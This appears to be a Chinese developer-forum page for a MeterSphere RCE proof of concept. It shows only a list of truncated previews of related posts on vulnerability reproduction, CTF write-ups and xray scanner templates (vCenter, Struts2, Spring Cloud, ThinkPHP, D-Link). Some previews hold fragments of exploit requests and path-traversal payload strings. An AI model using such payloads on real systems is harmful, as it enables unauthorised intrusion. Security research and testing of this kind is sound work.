微信扫一扫1471
社区成员
POC_MeterSphere-RCE
...全文
请发表友善的回复…
发表回复
CVE-2021-21972-vCenter-6_5-7_0-RCE POC 自查poc 访问https://<VC-IP-or-FQDN>/ui/vropspluginui/rest/services/updateova 如果404，则代表不存在漏洞，如果200，或者405则代表存在漏洞 import requests import urllib3 from
Struts2_046_RCE CVE-2017-5638 漏洞复现 影响版本 2.3.5 - 2.3.31 2.5 - 2.5.10 0x02漏洞复现 payload1(RCE)： POST /doUpload.action HTTP/1.1 Host: 192.168.15.130:8080 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Fire...
SpringCloud CVE_2019_3799--CVE_2020_5410 批量poc import requests import argparse import re CVE_2019_3799_win = r'/aaa/bbb/master/..%252F..%252F..%252F..%252F..%252F..%252Fwindows/win.ini' CVE_2019_3799_linux = r'/foo/default/master/..%252F..%252F....
CVE-2021-21972 vCenter 6.5-7.0 RCE 漏洞检测POC args=par) threads.append(thread) thread.start() for t in threads: t.join() def poc(*args): try: url = args[0] url1 = url + '/ui/vropspluginui/rest/services/getstatus' url1 = url1[:7] + url1[7:]....
Struts2_013_RCE CVE-2013-1966 漏洞复现 登录界面 Hackbar执行payload Burpsuite抓包 0x03总结 这是笔者的第二篇文章，由于我目前在华顺信安实习，写一些漏洞的POC和EXP，搜集一些可以利用的漏洞，补充到Goby扫描器中。今天刚好在师傅的带领下写了这...
buuctf [ThinkPHP]5-Rce 大佬们都是直接rce 这里漏洞技术细节（涉及代码段、原理等）我上个链接 https://blog.csdn.net/ArrowQin/article/details/105913146 https://bbs.ichunqiu.com/thread-48687-1-1.html?tdsourcetag=s_pcqq_aiomsg ...
xray插件改良4-poc-yaml-dlink-dsl-2888a-rce xray插件改良4-poc-yaml-dlink-dsl-2888a-rce 前言 poc-yaml-dlink-dsl-2888a-rce原始的yml poc-yaml-dlink-dsl-2888a-rce name: poc-yaml-dlink-dsl-2888a-rce rules: - method: GET path: /page/login/login....
buuctf [ThinkPHP]5.0.23-Rce poc POST /index.php?s=captcha HTTP/1.1 Host: yuorip Accept-Encoding: gzip, deflate Accept: / Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)...
xray插件改良5-poc-yaml-duomicms-sqli xray插件改良5-poc-yaml-duomicms-sqli 前言 poc-yaml-duomicms-sqli原始的ymlpoc-yaml-duomicms-sqli name: poc-yaml-duomicms-sqli rules: - method: GET path: >- /duomiphp/ajax.php?action=addfav&id...
buuctf-Real-[ThinkPHP]5.0.23-Rce 题目地址 和前两题一样，去找poc 找到poc ，使用查看一下效果有回显。 根据前两题经验，flag肯定在phpinfo 里面 ，所以直接修改一下，拿到flag
xray插件改良3-poc-yaml-dlink-850l-info-leak xray插件改良3-poc-yaml-dlink-850l-info-leak 前言 poc-yaml-dlink-850l-info-leak原始的yml poc-yaml-dlink-850l-info-leak name: poc-yaml-dlink-850l-info-leak rules: - method: POST path: /hedwig.cgi ...
xray插件改良2-poc-yaml-dedecms-cve-2018-6910 xray插件改良2-poc-yaml-dedecms-cve-2018-6910 前言 poc-yaml-dedecms-cve-2018-6910原始的yml dedecms-cve-2018-6910.yml name: poc-yaml-dedecms-cve-2018-6910 rules: - method: GET path: /include/downmix....
buuctf [PHP]XDebug RCE 打开页面是一个phpinfo ... 然后可以直接去找lflag，这里复现失败了，原因是该通信是一个反向连接的过程，exp.py启动后其实是会监听本地的9000端口（可通过-l参数指定）并等待XDebug前来连接，所以执行该脚本的服务器...
用友GRP-u8 注入-RCE漏洞 用友GRP-u8 注入-RCE漏洞 工作中遇到的漏洞，基于前人的复现教程成功复现，记录下自己的复现笔记，如有侵权，请联系我删除 漏洞详情 用友GRP-U8R10行政事业财务管理软件是用友公司专注于国家电子政务事业，基于...
xray插件改良1-poc-yaml-ofbiz-cve-2020-9496 poc-yaml-apache-ofbiz-cve-2020-9496-xml-deserialization原始的yml https://github.com/chaitin/xray/blob/master/pocs/apache-ofbiz-cve-2020-9496-xml-deserialization.yml name: poc-yaml-apache-ofbiz-cve-...
Struts2_059_RCE CVE-2019-0230 漏洞复现 总结 这是笔者的第三篇文章，复现了大概一天左右，网络上文章质量参差不齐，刚入门导致代码审计看不懂，对新手友好度太差，要么就是上来一段payload和poc，都不告诉你，具体流程是什么，踩了很多坑。不过在此过程...
vCenter 6.5-7.0 RCE 漏洞复现(CVE-2021-21972)附POC 漏洞POC import requests from requests.packages import urllib3 urllib3.disable_warnings() import argparse import os def url(): parser = argparse.ArgumentParser(description='vCenter 6.5-7.0 RCE 漏洞...